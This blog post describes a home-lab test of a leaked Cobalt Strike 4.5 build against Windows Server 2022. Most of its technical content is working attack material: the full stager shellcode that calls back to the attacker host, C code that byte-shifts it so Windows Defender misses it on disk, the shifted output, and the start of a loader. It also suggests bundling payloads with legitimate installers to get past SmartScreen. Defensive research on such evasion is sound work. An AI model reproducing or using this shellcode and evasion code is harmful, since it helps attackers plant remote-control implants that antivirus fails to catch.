Playing With Cobalt Strike: Part Two | Sid's Blog
~ / Posts $ cat 'Playing With Cobalt Strike: Part Two.md'

Playing With Cobalt Strike: Part Two

    12 Min     Posts
@driaug, (Unsplash, 2019)
@driaug, (Unsplash, 2019)

Approximately two months ago, I published Playing With Cobalt Strike, which readers seemed to enjoy. While writing that article, I was both pleasantly surprised as a red teamer, and disheartened as a blue teamer, at the ease of use and the general efficacy of Cobalt Strike 4.5’s Beacons (payloads) against Windows 10 and Excel 2016.

To Microsoft’s credit, I did deploy the 4.5 release only a few weeks after it had leaked online. Perhaps the environment I attacked would have proven less vulnerable given more time. After waiting for a while since then, it seemed appropriate to put some of Microsoft’s consumer stack to the test and take Cobalt Strike 4.5 for another spin — I recommend you read the first part before this article if you have not done so.

Environment

As a refresher, my previous environment looked like this:

Google Cloud VPC
└ Cobalt Strike (Debian 10)
Azure VPC
└ Victim Host (Windows 10)

Sadly, I have long since exhausted my Google Cloud credit and Azure credit, so today’s experiment had to take place on my hardware, as is shown below, where StrikeHost is the attacker and WinSrv22 the victim.

My Home Lab
└ Datacenter
  └ Proxmox (Node 0)
    └ WinSrv22 (VMID 104): 192.168.2.104
      Windows Server 2022 Standard (build 20348.643)
    └ StrikeHost (VMID 105): 192.168.2.105
      Debian 11 (Bullseye)

Locking Down the Attacker

Since I will be running an, erm, illegitimate version of Cobalt Strike on my network, which I cannot verify the integrity of (where are the v4.5 hashes?), I will exercise more caution than usual. No, I cannot afford a license — I’m sorry. Sue me (or give me an academic key, pretty please).

Luckily, enforcing a strict network security policy is trivial in Proxmox, the hypervisor I use in my home lab. See the firewall rules for the attacker below, which simply drops all outbound traffic not directed at WinSrv22. For clarity, I have explicitly included the implicit deny rule.

Screenshot of Proxmox firewall rules

Configuring the Victim

My intention with this experiment is not to test Cobalt Strike against a hardened system but rather to stress Microsoft’s defaults. In short:

Hosts and Names

As domain names are easier to read than IP addresses, I added the following to the hosts files of each respective environment.

192.168.2.104   victim.local
192.168.2.105   attacker.local

From here on, I will refer to the attacker as attacker.local and the victim as victim.local.

Malware Deployment

Constructing creative methods to spread malware is certainly an interesting topic in its own right, but is somewhat out of the scope of this article. Thus, I will intentionally download samples from attacker.local using Python’s http.server module.

Screenshot of attacker.local serving files

Screenshot of victim.local viewing served files

* * *

Okay, with all of that out of the way, it’s time to proceed with the interesting section.

Screenshot of the Cobalt Strike “About” page

Setting Up a Listener

So that malicious samples may be generated, a listener must first be established. To that end, I have created an HTTP listener that calls back to port 8080. However, many options exist, including HTTPS, SMB, and plain TCP.

Screenshot of setting up a Cobalt Strike HTTP Listener

Explanation of Fields

Several other fields exist as well for the HTTP selection:

The remainders are self-explanatory.

Malleable C2

The malleable C2 profile option is particularly interesting to me, as it allows for the creation of files that appear to have different signatures to memory and network monitors, which can go a long way in terms of evading AV and maintaining persistence.

This is a big deal because, while Windows Defender hasn’t always been the best, it is a strong AV engine today. By not using a profile, it is likely that Windows Defender will pick up any payloads Cobalt Strike generates, which will not make for a particularly interesting article. That said, I am also far from an expert in malleable C2 (or knowledgable at all, for that matter), so I will need to use a public profile, which, again, has likely already been studied by Windows Defender — an interesting dilemma.

Luckily, @joevest and @Pernat1y have published this excellent C2 profile generator, so I was able to painlessly craft a profile for my own use. An excerpt of the script is below; note how the configuration emulates a legitimate webserver.

Excerpt of malleable C2 script

With the malleable C2 profile selected, the listener can be created, allowing for payload generation.

Payload Generation

By navigating to Attacks > Packages > Windows Executable, Cobalt Strike reveals the ability to craft a malicious EXE that will call back to attacker.local when executed on victim.local.

Generating a malicious Windows executable

With that file saved and hosted on the attacker.local Python webserver, transferring to victim.local is easy.

Showing Windows Defender

Security Alerts

SmartScreen

SmartScreen blocking the payload

Immediately upon downloading the file, Windows/Edge pushed an alert that SmartScreen blocked the file. However, this is due to the fact that this file has a signature and /or hash that does not match frequently downloaded files. This is not an issue with Cobalt Strike and could be solved by bundling it as a trojan with something else, such as Google Chrome.

Windows Defender

Windows Defender blocking the payload

Here’s a more serious issue, for me as an attacker, at least. In reality, I am, of course, happy to see that Microsoft has not only identified the sample as a virus but done so correctly (Backdoor:Win64/CobaltStrike.NP!dha). I tried several more configurations, including stageless delivery and a PowerShell script, none of which were able to get past Windows Defender. However, that is expected behavior given default configurations.

Bypassing Windows Defender

Generating Shellcode

Thus far, all payloads generated have resided on disk, implying that, to work past Windows Defender at this stage, blatantly malicious code must only be present in memory, if at all. Cobalt Strike supports shellcode generation; as I am most familiar with C, I generated shellcode in that language, which yielded the following:

unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x55\x6e\x71\x75\x65\x75\x65\x2f\x76\x31\x30\x2e\x30\x35\x2f\x5a\x30\x51\x5a\x39\x5a\x58\x45\x58\x47\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x2c\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x73\x71\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x62\x72\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x32\x2e\x30\x2e\x33\x32\x30\x32\x2e\x39\x34\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xa1\x03\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x30\x35\x00\x00\x00\x00\x00";

Here’s the string above, decoded:

Plaintext shellcode

Testing Plain Shellcode

Obviously, there is no obfuscation here. The IP address of attacker.local is even in plaintext. I wrapped this string in a tiny function to first determine if Defender would detect it once compiled, which it immediately did, identifying the executable as Trojan:Win64/TurtleLoader.CS!dha.

int main() {
  unsigned char array[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x55\x6e\x71\x75\x65\x75\x65\x2f\x76\x31\x30\x2e\x30\x35\x2f\x5a\x30\x51\x5a\x39\x5a\x58\x45\x58\x47\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x2c\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x73\x71\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x62\x72\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x32\x2e\x30\x2e\x33\x32\x30\x32\x2e\x39\x34\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xa1\x03\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x30\x35\x00\x00\x00\x00\x00";
}

Byte-Shifting Ceaser Cipher

I assumed that simple byte-shifting may be enough to avoid detection by Defender, so I wrote this small C script to increment each char by one:

#include <stdio.h>

int main() {
  // Original CS shellcode
  unsigned char array[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x55\x6e\x71\x75\x65\x75\x65\x2f\x76\x31\x30\x2e\x30\x35\x2f\x5a\x30\x51\x5a\x39\x5a\x58\x45\x58\x47\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x2c\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x73\x71\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x62\x72\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x36\x32\x2e\x30\x2e\x33\x32\x30\x32\x2e\x39\x34\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xa1\x03\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x30\x35\x00\x00\x00\x00\x00";

  // Copy/paste wrapper
  printf("\nunsigned char array[] = \"");

  // Iterate over each byte in the array
  for(short i = 0; i < sizeof(array); i++) {
    short current = array[i];

    // Increment by 1 or roll over to stay within eight bits
    if(current < 255) {
      current += 1;
    } else {
      current = 0;
    }

    // Write to STDOUT
    printf("\\x%x", current);
  }

  // Copy/paste wrapper
  printf("\";\n\n");

  return 0;
}

Upon execution, the script produces the following result for simple copying and pasting:

$ ./byteShift

unsigned char array[] = "\xfd\x49\x84\xe5\xf1\xe9\xc9\x1\x1\x1\x42\x52\x42\x51\x53\x52\x57\x49\x32\xd3\x66\x49\x8c\x53\x61\x49\x8c\x53\x19\x49\x8c\x53\x21\x49\x8c\x73\x51\x49\x10\xb8\x4b\x4b\x4e\x32\xca\x49\x32\xc1\xad\x3d\x62\x7d\x3\x2d\x21\x42\xc2\xca\xe\x42\x2\xc2\xe3\xee\x53\x42\x52\x49\x8c\x53\x21\x8c\x43\x3d\x49\x2\xd1\x67\x82\x79\x19\xc\x3\x76\x73\x8c\x81\x89\x1\x1\x1\x49\x86\xc1\x75\x68\x49\x2\xd1\x51\x8c\x49\x19\x45\x8c\x41\x21\x4a\x2\xd1\xe4\x57\x49\x0\xca\x42\x8c\x35\x89\x49\x2\xd7\x4e\x32\xca\x49\x32\xc1\xad\x42\xc2\xca\xe\x42\x2\xc2\x39\xe1\x76\xf2\x4d\x4\x4d\x25\x9\x46\x3a\xd2\x76\xd9\x59\x45\x8c\x41\x25\x4a\x2\xd1\x67\x42\x8c\xd\x49\x45\x8c\x41\x1d\x4a\x2\xd1\x42\x8c\x5\x89\x49\x2\xd1\x42\x59\x42\x59\x5f\x5a\x5b\x42\x59\x42\x5a\x42\x5b\x49\x84\xed\x21\x42\x53\x0\xe1\x59\x42\x5a\x5b\x49\x8c\x13\xea\x50\x0\x0\x0\x5e\x6b\x1\x4a\xbf\x78\x6a\x6f\x6a\x6f\x66\x75\x1\x42\x57\x4a\x8a\xe7\x4d\x8a\xf2\x42\xbb\x4d\x78\x27\x8\x0\xd6\x49\x32\xca\x49\x32\xd3\x4e\x32\xc1\x4e\x32\xca\x42\x51\x42\x51\x42\xbb\x3b\x57\x7a\xa8\x0\xd6\xec\x74\x5b\x49\x8a\xc2\x42\xb9\x91\x20\x1\x1\x4e\x32\xca\x42\x52\x42\x52\x6b\x4\x42\x52\x42\xbb\x58\x8a\xa0\xc7\x0\xd6\xec\x5a\x5c\x49\x8a\xc2\x49\x32\xd3\x4a\x8a\xd9\x4e\x32\xca\x53\x69\x1\x3\x41\x85\x53\x53\x42\xbb\xec\x56\x2f\x3c\x0\xd6\x49\x8a\xc7\x49\x84\xc4\x51\x6b\xb\x60\x49\x8a\xf2\x49\x8a\xdb\x4a\xc8\xc1\x0\x0\x0\x0\x4e\x32\xca\x53\x53\x42\xbb\x2e\x7\x19\x7c\x0\xd6\x86\xc1\x10\x86\x9e\x2\x1\x1\x49\x0\xd0\x10\x85\x8d\x2\x1\x1\xec\xd4\xea\xe5\x2\x1\x1\xe9\xa3\x0\x0\x0\x30\x56\x6f\x72\x76\x66\x76\x66\x30\x77\x32\x31\x2f\x31\x36\x30\x5b\x31\x52\x5b\x3a\x5b\x59\x46\x59\x48\x46\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x42\x64\x64\x66\x71\x75\x3b\x21\x62\x71\x71\x6d\x6a\x64\x62\x75\x6a\x70\x6f\x30\x6b\x74\x70\x6f\x2d\x21\x75\x66\x79\x75\x30\x69\x75\x6e\x6d\x2d\x21\x62\x71\x71\x6d\x6a\x64\x62\x75\x6a\x70\x6f\x30\x79\x69\x75\x6e\x6d\x2c\x79\x6e\x6d\xe\xb\x42\x64\x64\x66\x71\x75\x2e\x4d\x62\x6f\x68\x76\x62\x68\x66\x3b\x21\x74\x72\xe\xb\x42\x64\x64\x66\x71\x75\x2e\x46\x6f\x64\x70\x65\x6a\x6f\x68\x3b\x21\x68\x7b\x6a\x71\x2d\x21\x63\x73\xe\xb\x56\x74\x66\x73\x2e\x42\x68\x66\x6f\x75\x3b\x21\x4e\x70\x7b\x6a\x6d\x6d\x62\x30\x36\x2f\x31\x21\x29\x58\x6a\x6f\x65\x70\x78\x74\x21\x4f\x55\x21\x32\x31\x2f\x31\x3c\x21\x58\x6a\x6f\x37\x35\x3c\x21\x79\x37\x35\x2a\x21\x42\x71\x71\x6d\x66\x58\x66\x63\x4c\x6a\x75\x30\x36\x34\x38\x2f\x34\x37\x21\x29\x4c\x49\x55\x4e\x4d\x2d\x21\x6d\x6a\x6c\x66\x21\x48\x66\x64\x6c\x70\x2a\x21\x44\x69\x73\x70\x6e\x66\x30\x37\x33\x2f\x31\x2f\x34\x33\x31\x33\x2f\x3a\x35\x21\x54\x62\x67\x62\x73\x6a\x30\x36\x34\x38\x2f\x34\x37\xe\xb\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x42\xbf\xf1\xb6\xa3\x57\x0\xd6\x49\x32\xca\xbb\x1\x1\x41\x1\x42\xb9\x1\x11\x1\x1\x42\xba\x41\x1\x1\x1\x42\xbb\x59\xa5\x54\xe6\x0\xd6\x49\x94\x54\x54\x49\x8a\xe8\x49\x8a\xf2\x49\x8a\xdb\x42\xb9\x1\x21\x1\x1\x4a\x8a\xfa\x42\xbb\x13\x97\x8a\xe3\x0\xd6\x49\x84\xc5\x21\x86\xc1\x75\xb7\x67\x8c\x8\x49\x2\xc4\x86\xc1\x76\xd8\x59\x59\x59\x49\x6\xa2\x4\x1\x1\x51\xc4\xe9\xa0\xfe\x0\x0\x32\x3a\x33\x2f\x32\x37\x39\x2f\x33\x2f\x32\x31\x36\x1\x1\x1\x1\x1\x1";

$

And, as I expected, Windows Defender no longer detected the shellcode, as it isn’t shellcode at all anymore, but a garbage string… That is, before it is reconstructed in memory away from the prying eyes of the real-time disk scanning of Windows Defender.

Plaintext shellcode (rotated)

Ah, the chief security product from one of the most technologically dominant companies on the planet, defeated by the Ceaser Cipher. That may have been a premature celebration, however.

Writing a Shellcode Wrapper

To reconstruct and load the array into memory for execution, I wrote a simple wrapper in C++, taking inspiration from this post.

// Rotates shellcode bytes in memory to avoid on-disk detection by Windows Defender
// Idea from https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change

#include <windows.h>

int main() {
  // This is the array generated by CS, which gets detected instantly by Defender
